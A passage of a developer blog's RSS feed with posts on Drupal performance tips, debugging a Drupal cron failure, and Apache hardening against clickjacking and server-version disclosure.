&lt;li&gt;“Huslin” by &lt;a href=&quot;https://www.youtube.com/channel/UCpjHcNrJxI1pgIiLdEwJbxg&quot;&gt;Brotha Lynch Hung&lt;/a&gt; (&lt;a href=&quot;https://www.youtube.com/cthru?c2b=itunes&amp;#x26;key=AE_82TeCKAjp9R1_iWSq83suTuoVaFf_e4YONHOf8wmvAagWM1FkUets97VDpx8JZZFdHjtbmyGx0UPh7L5S8ura76JhV3w3Q_Qzjz2CFiTcpdwfxukKYOKFz116g8034G1POAqpSzTpmbRapzkBOTR0KsrjbHMRM7SnGISc1yU2bWW840JeE6MiS05ZhrHvXF5frpDN_Vre&amp;#x26;version=2&amp;#x26;v=PWjcqE3QKBg&quot;&gt;iTunes&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h4 id=&quot;category&quot;&gt;Category&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCOpNcN46UbXVtpKMrmU4Abg&quot;&gt;Gaming&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h4 id=&quot;license&quot;&gt;License&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Standard YouTube License&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Thanks to New Valley Media for helping with the video &lt;a href=&quot;http://www.newvalleymedia.com/&quot; title=&quot;http://www.newvalleymedia.com/&quot;&gt;http://www.newvalleymedia.com/&lt;/a&gt;&lt;br&gt;
Thanks to Broadstreet Consullting &lt;a href=&quot;http://www.broadstreetconsulting.net/&quot; title=&quot;http://www.broadstreetconsulting.net&quot;&gt;http://www.broadstreetconsulting.net&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>Prevent clickjacking on Drupal and other Apache web applications</title><link>https://lirantal.com/blog/2015-03-16/</link><guid>https://lirantal.com/blog/2015-03-16/</guid><description>Updating Apache server configuration to use mod_headers to prevent clickjacking security issues</description><pubDate>Thu, 12 Mar 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Security is an important aspect to keep an eye for, and this time it’s about preventing clickjacking on Drupal and other Apache web applications.&lt;/p&gt;
&lt;p&gt;Edit apache’s configuration file, which may be your declared vhost or such, usually at a location like &lt;code&gt;/etc/httpd/conf.d/default.conf&lt;/code&gt; and make sure the  following&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&amp;#x3C;IfModule mod_headers.c&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Header always append X-Frame-Options SAMEORIGIN&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&amp;#x3C;/IfModule&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will disable embedding your website as an iFrame.&lt;/p&gt;</content:encoded></item><item><title>Apache Obfuscation by disabling trace and server tokens</title><link>https://lirantal.com/blog/2015-03-09/</link><guid>https://lirantal.com/blog/2015-03-09/</guid><description>Preventative measures to mitigate leaking the server software running</description><pubDate>Mon, 09 Mar 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Apache Obfuscation can be achieved very easily and the benefits are great – it doesn’t disclose server information such as versions, OS, and does output verbose errors when ‘bad things happen’, and they happen.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2015/03/2870445260_82be0db1db_z.jpg&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20150312155601im_/http://enginx.com/wp-content/uploads/2015/03/2870445260_82be0db1db_z.jpg&quot; alt=&quot;2870445260_82be0db1db_z&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Edit apache configuration, usually available here for RedHat based distributions: &lt;code&gt;/etc/httpd/conf/httpd.conf&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Make sure the following settings are present, save, and restart apache:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;TraceEnable Off  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;ServerSignature Off  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;ServerTokens Prod&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;How do we test that this is actually working?&lt;/p&gt;
&lt;h2 id=&quot;how-to-traceenable&quot;&gt;How to TraceEnable&lt;/h2&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;1. curl -v -X TRACE http://…  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;2. Confirm you get a forbidden response&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;how-test-servertokens&quot;&gt;How test ServerTokens&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Make a request to the website and check the response headers&lt;/li&gt;
&lt;li&gt;Confirm the response contains only “Apache” information in the Server header&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;how-to-test-serversignature&quot;&gt;How to test ServerSignature&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Make a request to the website for a URL that should respond with Apache server error&lt;/li&gt;
&lt;li&gt;Confirm you don’t see information about the apache server software version, OS, etc.&lt;/li&gt;
&lt;/ol&gt;</content:encoded></item><item><title>Drupal Performance Tip – be humble on hook_init()</title><link>https://lirantal.com/blog/2015-01-12/</link><guid>https://lirantal.com/blog/2015-01-12/</guid><description>This entry is part 5 of 5 in the series Drupal Performance Tips</description><pubDate>Mon, 12 Jan 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In the spirit of the computer video game &lt;a href=&quot;http://doom.wikia.com/wiki/Doom&quot;&gt;Doom&lt;/a&gt; and its &lt;a href=&quot;http://doom.wikia.com/wiki/Skill_level&quot;&gt;skill levels&lt;/a&gt;, we’ll review a few ways you can improve your &lt;a href=&quot;http://drupal.org/&quot;&gt;Drupal&lt;/a&gt; speed performance and optimize for better results and server response time. These tips that we’ll cover may be at times specific to Drupal 6 versions, although you can always learn the best practices from these examples and apply them on your own code base.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20150418075751im_/http://adamatomic.com/pics/blog/doom/doom2.jpg&quot; alt=&quot;Doom&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.drupal.org/&quot;&gt;Drupal&lt;/a&gt; is known for its plethora of  &lt;a href=&quot;https://www.drupal.org/node/292&quot;&gt;hooks&lt;/a&gt;, and their use is abundant through-out any Drupal modules to plug into the way that Drupal works. That’s fine, though once you’ve decided you’re moving on with Drupal as your live web application/website and you’re using modules from the eco-system, that is when you need to spend some more time reviewing modules a little bit closer than just their download counts or issues on drupal.org&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://api.drupal.org/api/drupal/developer%21hooks%21core.php/function/hook_init/6&quot;&gt;hook_init&lt;/a&gt;() runs on every page load. Imagine you’re having a few modules implementing this hook, then you already have impact on your server response time performance for every page access in Drupal. Maybe those modules have a very slight overhead there, maybe that’s part of what they do, and that’s fine, but it may at times benefit you to review and investigate if the code there, that maybe your team added too, is better being re-factored to some other place and not on every page load.&lt;/p&gt;
&lt;p&gt;There is another perspective for it of course, maybe things do need to take place on every page load, but their implementation in the code might be faulty. Imagine you’re doing some expensive IO on every page load, like calling an API, or querying a heavy table. Maybe you can re-factor to cache this information?&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2014/11/drupal_perf-4.png&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20150418075751im_/http://enginx.com/wp-content/uploads/2014/11/drupal_perf-4.png&quot; alt=&quot;drupal_perf-4&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>Drupal Performance Tips: know your database</title><link>https://lirantal.com/blog/2014-12-15_drupal_tip_im_too_young_to_die/</link><guid>https://lirantal.com/blog/2014-12-15_drupal_tip_im_too_young_to_die/</guid><description>speed performance and how to Drupal optimize for better results and server response time.</description><pubDate>Mon, 15 Dec 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In the spirit of the computer video game &lt;a href=&quot;http://doom.wikia.com/wiki/Doom&quot;&gt;Doom&lt;/a&gt; and its &lt;a href=&quot;http://doom.wikia.com/wiki/Skill_level&quot;&gt;skill levels&lt;/a&gt;, we’ll review a few ways you can improve your &lt;a href=&quot;http://drupal.org/&quot;&gt;Drupal&lt;/a&gt; speed performance and optimize for better results and server response time. These tips that we’ll cover may be at times specific to Drupal 6 versions, although you can always learn the best practices from these examples and apply them on your own code base.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/doom2.jpg&quot; alt=&quot;Doom&quot;&gt;&lt;/p&gt;
&lt;p&gt;Doom skill levels: (easiest first)&lt;/p&gt;
&lt;h2 id=&quot;database-indexes-and-sql-queries&quot;&gt;Database indexes and SQL queries&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/drupal_perf-1.png&quot; alt=&quot;drupal_perf-1&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;This post is rated “I’m too young too die” difficulty level&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://drupal.org/&quot;&gt;Drupal&lt;/a&gt; 6 shipped with all tables being  &lt;a href=&quot;http://drupal.stackexchange.com/questions/20893/drupal-database-innodb-or-myisam&quot;&gt;MyISAM&lt;/a&gt;, and then Drupal 7 changed all that and shipped with all of its tables using the  &lt;a href=&quot;http://drupal.stackexchange.com/questions/20893/drupal-database-innodb-or-myisam&quot;&gt;InnoDB&lt;/a&gt; database engine. Each one with its own  &lt;a href=&quot;https://www.drupal.org/node/1553474&quot;&gt;strengths and weaknesses&lt;/a&gt;  but it’s quite clear that InnoDB will probably perform better for your Drupal site (though it has quite a bit of fine tuning configuration to be tweaked on my.cnf).&lt;/p&gt;
&lt;p&gt;Some modules, whether on Drupal 6, or those on Drupal 7 that simply upgraded but didn’t quite review all of their code, might ship with queries like  &lt;a href=&quot;http://www.percona.com/blog/2006/12/01/count-for-innodb-tables/&quot;&gt;SELECT COUNT() which if you have migrated your tables to InnoDB (or simply using Drupal 7) then this will hinder on database performance&lt;/a&gt;. That’s mainly because InnoDB and MyISAM work differently, and where-as this proved as quite a fast responding query being executed on a MyISAM database which uses the main index to store this information, for InnoDB the situation is different and will result in doing a full table scan for the count. Obviously, on an InnoDB configuration running such queries on large tables will result in very poor performance&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/drupal_perf-5.png&quot; alt=&quot;drupal_perf-5&quot;&gt;&lt;/p&gt;
&lt;p&gt;Note to ponder upon – what about the Views module which uses similar type of COUNT() queries to create the pagination for its views?&lt;/p&gt;
&lt;h2 id=&quot;removing-unused-modules&quot;&gt;Removing unused modules&lt;/h2&gt;
&lt;p&gt;If you’re using a  &lt;a href=&quot;http://drupal.org/&quot;&gt;Drupal&lt;/a&gt; &lt;a href=&quot;https://www.drupal.org/documentation/build/distributions&quot;&gt;distribution&lt;/a&gt; which is great for kick-starting a project with many features built-in, you should still review added modules which are managed through the  &lt;a href=&quot;https://www.drupal.org/node/306267&quot;&gt;installation profile&lt;/a&gt;  as they might prove un-necessary for your product as time goes and your product evolves and matures. Remember that even if you’re not using a distribution, you might have added some modules to meet a functionality, which you no longer use and you disabled through CSS, through the menus, through the theme, but you forgot all about removing the actual module. These un-used modules account for memory footprint as they are loaded through PHP and they can also account for Drupal hooks, which is even worse in terms of performance for you.&lt;/p&gt;
&lt;p&gt;Remember to  &lt;strong&gt;review your installed modules base on Drupal&lt;/strong&gt;  and remove any un-used functionality:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/drupal_perf-2.png&quot; alt=&quot;drupal_perf-2&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;replace-views-blocks-with-vanilla-blocks&quot;&gt;Replace views blocks with vanilla blocks&lt;/h2&gt;
&lt;p&gt;When we start out building  &lt;a href=&quot;https://www.drupal.org/&quot;&gt;Drupal&lt;/a&gt; websites, we gradually build functionality and a common use case is creating a view, then you might want to create some blocks, very much related to the view, so you create a block view using the  &lt;a href=&quot;https://www.drupal.org/project/views&quot;&gt;Views&lt;/a&gt; module. Then you maybe combine it with  &lt;a href=&quot;https://www.drupal.org/project/panels&quot;&gt;Panels&lt;/a&gt; or  &lt;a href=&quot;https://www.drupal.org/project/context&quot;&gt;Context&lt;/a&gt;, it doesn’t really matter, but essentially you’ve been using the UI tools which are for ease of use, and the overhead for that lies in quite a bit of abstraction layer which later may cost in performance. Replacing the quicklinks and help and support blocks that were used in our theme’s sidebar from being a view based block to a simple programmatiaclly created block implementation proved to reduce a sizzling amount of ~200ms to ~2ms of server time spent on doing the same operation. That accounted for about ~200ms of page load time redduction for each page load, as this item was featured in many pages consistently on our theme.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/drupal_perf-3.png&quot; alt=&quot;drupal_perf-3&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;know-your-db-engines&quot;&gt;know your DB engines&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://drupal.org/&quot;&gt;Drupal&lt;/a&gt; 6 shipped with all tables being  &lt;a href=&quot;http://drupal.stackexchange.com/questions/20893/drupal-database-innodb-or-myisam&quot;&gt;MyISAM&lt;/a&gt;, and then Drupal 7 changed all that and shipped with all of its tables using the  &lt;a href=&quot;http://drupal.stackexchange.com/questions/20893/drupal-database-innodb-or-myisam&quot;&gt;InnoDB&lt;/a&gt; database engine. Each one with its own  &lt;a href=&quot;https://www.drupal.org/node/1553474&quot;&gt;strengths and weaknesses&lt;/a&gt;  but it’s quite clear that InnoDB will probably perform better for your Drupal site (though it has quite a bit of fine tuning configuration to be tweaked on my.cnf).&lt;/p&gt;
&lt;p&gt;Some modules, whether on Drupal 6, or those on Drupal 7 that simply upgraded but didn’t quite review all of their code, might ship with queries like  &lt;a href=&quot;http://www.percona.com/blog/2006/12/01/count-for-innodb-tables/&quot;&gt;SELECT COUNT() which if you have migrated your tables to InnoDB (or simply using Drupal 7) then this will hinder on database performance&lt;/a&gt;. That’s mainly because InnoDB and MyISAM work differently, and where-as this proved as quite a fast responding query being executed on a MyISAM database which uses the main index to store this information, for InnoDB the situation is different and will result in doing a full table scan for the count. Obviously, on an InnoDB configuration running such queries on large tables will result in very poor performance&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/drupal_perf-5.png&quot; alt=&quot;drupal_perf-5&quot;&gt;&lt;/p&gt;
&lt;p&gt;Note to ponder upon – what about the Views module which uses similar type of COUNT() queries to create the pagination for its views?&lt;/p&gt;
&lt;h2 id=&quot;be-humble-on-hook_init&quot;&gt;be humble on hook_init()&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.drupal.org/&quot;&gt;Drupal&lt;/a&gt; is known for its plethora of  &lt;a href=&quot;https://www.drupal.org/node/292&quot;&gt;hooks&lt;/a&gt;, and their use is abundant through-out any Drupal modules to plug into the way that Drupal works. That’s fine, though once you’ve decided you’re moving on with Drupal as your live web application/website and you’re using modules from the eco-system, that is when you need to spend some more time reviewing modules a little bit closer than just their download counts or issues on drupal.org&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://api.drupal.org/api/drupal/developer%21hooks%21core.php/function/hook_init/6&quot;&gt;hook_init&lt;/a&gt;() runs on every page load. Imagine you’re having a few modules implementing this hook, then you already have impact on your server response time performance for every page access in Drupal. Maybe those modules have a very slight overhead there, maybe that’s part of what they do, and that’s fine, but it may at times benefit you to review and investigate if the code there, that maybe your team added too, is better being re-factored to some other place and not on every page load.&lt;/p&gt;
&lt;p&gt;There is another perspective for it of course, maybe things do need to take place on every page load, but their implementation in the code might be faulty. Imagine you’re doing some expensive IO on every page load, like calling an API, or querying a heavy table. Maybe you can re-factor to cache this information?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/drupal_perf-4.png&quot; alt=&quot;drupal_perf-5&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>Drupal Performance Tip – &apos;I’m too young to die&apos; – indexes and SQLs</title><link>https://lirantal.com/blog/2014-11-05/</link><guid>https://lirantal.com/blog/2014-11-05/</guid><description>This entry is part 1 of 2 in the series Drupal Performance Tips</description><pubDate>Wed, 12 Nov 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;In the spirit of the computer video game  &lt;a href=&quot;http://doom.wikia.com/wiki/Doom&quot;&gt;Doom&lt;/a&gt; and its  &lt;a href=&quot;http://doom.wikia.com/wiki/Skill_level&quot;&gt;skill levels&lt;/a&gt;, we’ll review a few ways you can improve your  &lt;a href=&quot;http://drupal.org/&quot;&gt;Drupal&lt;/a&gt; speed performance and optimize for better results and server response time. These tips that we’ll cover may be at times specific to Drupal 6 versions, although you can always learn the best practices from these examples and apply them on your own code base.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20141117232040im_/http://adamatomic.com/pics/blog/doom/doom2.jpg&quot; alt=&quot;Doom&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Using indexes&lt;/strong&gt;, and  &lt;strong&gt;proper SQL queries&lt;/strong&gt;  can boost performance by a huge factor, especially if the affected tables are very big (millions of rows). Take a look at the diff below showing a fix to a not so proper, and ill-advised use of querying the database:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2014/11/drupal_perf-1.png&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20141117232040im_/http://enginx.com/wp-content/uploads/2014/11/drupal_perf-1.png&quot; alt=&quot;drupal_perf-1&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The bad performing query took anything between 6 to 60 seconds to run, depending on the data, and database load, and database’s current cache state. The newer query takes milliseconds.&lt;/p&gt;</content:encoded></item><item><title>Drupal Performance Tip – removing unused modules</title><link>https://lirantal.com/blog/2014-11-12/</link><guid>https://lirantal.com/blog/2014-11-12/</guid><description>This entry is part 2 of 2 in the series Drupal Performance Tips</description><pubDate>Wed, 12 Nov 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In the spirit of the computer video game &lt;a href=&quot;http://doom.wikia.com/wiki/Doom&quot;&gt;Doom&lt;/a&gt; and its &lt;a href=&quot;http://doom.wikia.com/wiki/Skill_level&quot;&gt;skill levels&lt;/a&gt;, we’ll review a few ways you can improve your &lt;a href=&quot;http://drupal.org/&quot;&gt;Drupal&lt;/a&gt; speed performance and optimize for better results and server response time. These tips that we’ll cover may be at times specific to Drupal 6 versions, although you can always learn the best practices from these examples and apply them on your own code base.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20141116001643im_/http://adamatomic.com/pics/blog/doom/doom2.jpg&quot; alt=&quot;Doom&quot;&gt;&lt;/p&gt;
&lt;p&gt;If you’re using a  &lt;a href=&quot;http://drupal.org/&quot;&gt;Drupal&lt;/a&gt; &lt;a href=&quot;https://www.drupal.org/documentation/build/distributions&quot;&gt;distribution&lt;/a&gt; which is great for kick-starting a project with many features built-in, you should still review added modules which are managed through the  &lt;a href=&quot;https://www.drupal.org/node/306267&quot;&gt;installation profile&lt;/a&gt;  as they might prove un-necessary for your product as time goes and your product evolves and matures. Remember that even if you’re not using a distribution, you might have added some modules to meet a functionality, which you no longer use and you disabled through CSS, through the menus, through the theme, but you forgot all about removing the actual module. These un-used modules account for memory footprint as they are loaded through PHP and they can also account for Drupal hooks, which is even worse in terms of performance for you.&lt;/p&gt;
&lt;p&gt;Remember to  &lt;strong&gt;review your installed modules base on Drupal&lt;/strong&gt;  and remove any un-used functionality:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2014/11/drupal_perf-2.png&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20141116001643im_/http://enginx.com/wp-content/uploads/2014/11/drupal_perf-2.png&quot; alt=&quot;drupal_perf-2&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>&apos;Oh you lazy cron!&apos; – learning on Drupal cron issues</title><link>https://lirantal.com/blog/2014-09-04/</link><guid>https://lirantal.com/blog/2014-09-04/</guid><description>Debugging issues with Drupal&apos;s cron scheduler</description><pubDate>Thu, 04 Sep 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We’re still working with  &lt;a href=&quot;http://drupal.org/&quot;&gt;Drupal 6&lt;/a&gt;  at work, and we’re triggering our notifications and other cron related tasks through a small script that  &lt;a href=&quot;http://en.wikipedia.org/wiki/Cron&quot;&gt;crontab&lt;/a&gt; is running, and with the help of  &lt;a href=&quot;http://drush.ws/&quot;&gt;drush&lt;/a&gt; at the command line. The following problem and description of the scenario we had applies to  &lt;a href=&quot;http://drupal.org/&quot;&gt;Drupal 7&lt;/a&gt;  too as these are pretty much close with regards to implementation.&lt;/p&gt;
&lt;p&gt;Drupal’s cron job will most often run smoothly and without any issues, it will appear to “just work”. The reason for that is that behind the scenes, anything related to creating scheduled tasks in Drupal will have to implement  &lt;a href=&quot;https://api.drupal.org/api/drupal/modules%21system%21system.api.php/function/hook_cron/7&quot;&gt;hook_cron&lt;/a&gt;, and simply enough, not a lot of modules will be doing that. So when you first setup your Drupal application and get it to run, you’ll wrap up any issues with cron and from there it’s smooth sailing… Or not! There are practices you should be aware of when you program modules in Drupal that are not related to cron, yet can still mess it up.&lt;/p&gt;
&lt;p&gt;So back to the story, at some point we noticed our notifications aren’t being sent out in our development environment, and because cron is responsible for running the notifications, then that’s the immediate suspect. Problem is, debugging cron isn’t that easy, mainly because Drupal will just fire off those hooks and you’ve got no idea where the culprit code is.&lt;/p&gt;
&lt;p&gt;Search for the problem begins by checking quickly all the modules that implement  &lt;a href=&quot;https://api.drupal.org/api/drupal/modules%21system%21system.api.php/function/hook_cron/7&quot;&gt;hook_cron&lt;/a&gt;, primarily your very own and recently added modules are the prime suspects. If that yields no results, as did in my case you’re going to have to broaden the search and a good way to quickly figure out where this happens is by inspecting Drupal’s  &lt;code&gt;module.inc&lt;/code&gt;  to catch the cron hook. One way of doing that is through a debugger, another quick and easy way is by using Drupal’s own  &lt;code&gt;watchdog&lt;/code&gt;  (or PHP’s own  &lt;code&gt;errorlog&lt;/code&gt;) function to capture this data:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;function module_invoke_all() {  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    $return = array();  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    foreach (module_implements($hook) as $module) {  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    $function = $module .&apos;_&apos;. $hook;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    if ($hook == &apos;cron&apos;) watchdog(&apos;cron&apos;, &quot;hit $module cron&quot;); // add line to log in db log  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    ...  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    }  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;}  &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Inspecting the information there from the change or through the debugger we’ll be able to see which cron hook last ran successfully.&lt;/p&gt;
&lt;p&gt;I will spare the rest of the debugging process but the research led to Drupal’s own implementation of  &lt;code&gt;hook_cron&lt;/code&gt;  which further led to module calls of  &lt;code&gt;node_invoke&lt;/code&gt;  and  &lt;code&gt;node_invoke_nodeapi&lt;/code&gt;  where it was then failing. At that point, all custom, and recent changes to anything the codebase related to  &lt;code&gt;hook_nodeapi&lt;/code&gt;  revealed the culprit:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;function my_module_nodeapi($op...) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    switch ($op) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    case ‘view’:  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    drupal_goto(”);  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    break;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    }  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This makes perfect sense. Nodes get loaded through the node_load() and the rest of Drupal’s hooks for the sake of handling the notifications, which in turn calls &lt;code&gt;nodeapi&lt;/code&gt; hook all around, and having a  &lt;code&gt;drupal_goto()&lt;/code&gt;  doesn’t really help &lt;code&gt;drush&lt;/code&gt; when its running from the command line.&lt;/p&gt;
&lt;p&gt;Lesson learned.&lt;/p&gt;</content:encoded></item><item><title>Migrate Drupal 7 to WordPress 3.9 – The Kickoff</title><link>https://lirantal.com/blog/2014-07-09/</link><guid>https://lirantal.com/blog/2014-07-09/</guid><description>This entry is part 1 of 2 in the series Drupal 7 to Wordpress 3.9 Migration</description><pubDate>Sat, 12 Jul 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;With no specific reason, or maybe with regards to the strong editing capabilities of WordPress out of the box, I wanted to opt out of  &lt;a href=&quot;http://www.drupal.org/&quot;&gt;Drupal&lt;/a&gt;  as my blogging platform for  &lt;a href=&quot;http://enginx.com/blog/migrate-drupal-7-to-wordpress-3-9-kickoff/enginx.com&quot;&gt;enginx.com&lt;/a&gt;. Even though I’m a  &lt;a href=&quot;https://drupal.org/user/1315712&quot;&gt;seasoned Drupal developer&lt;/a&gt;, even authored a book on  &lt;a href=&quot;http://enginx.com/blog/writing-drupal-7-media/&quot;&gt;Drupal 7 Media&lt;/a&gt;, and  &lt;a href=&quot;http://enginx.com/blog/media-drupal-7-presenting-it-drupal-camp-israel-2013/&quot;&gt;presented&lt;/a&gt;  the topic on a local Drupal conference, I decided to migrate Drupal 7 to WordPress. Drupal is suitable for many web applications, although it does require quite an effort to maintain and setup in order to fit it to your needs, while with WordPress most of the blogging capabilities are available out of the box with almost no hassle, and for a good reason – WordPress was primarily developed as a blogging platform.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;My Video Course –  &lt;a href=&quot;https://www.udemy.com/step-by-step-drupal-7-to-wordpress-39-migration/&quot;&gt;Step by Step Drupal 7 to WordPress 3.9 Migration&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I created a Video course on  &lt;a href=&quot;http://www.udemy.com/&quot; title=&quot;Udemy&quot;&gt;Udemy.com&lt;/a&gt; to teach you the skills of migrating Drupal 7 to WordPress 3.9.&lt;/p&gt;
&lt;p&gt;I’d appreciate if you leave a review after taking the quick course&lt;/p&gt;
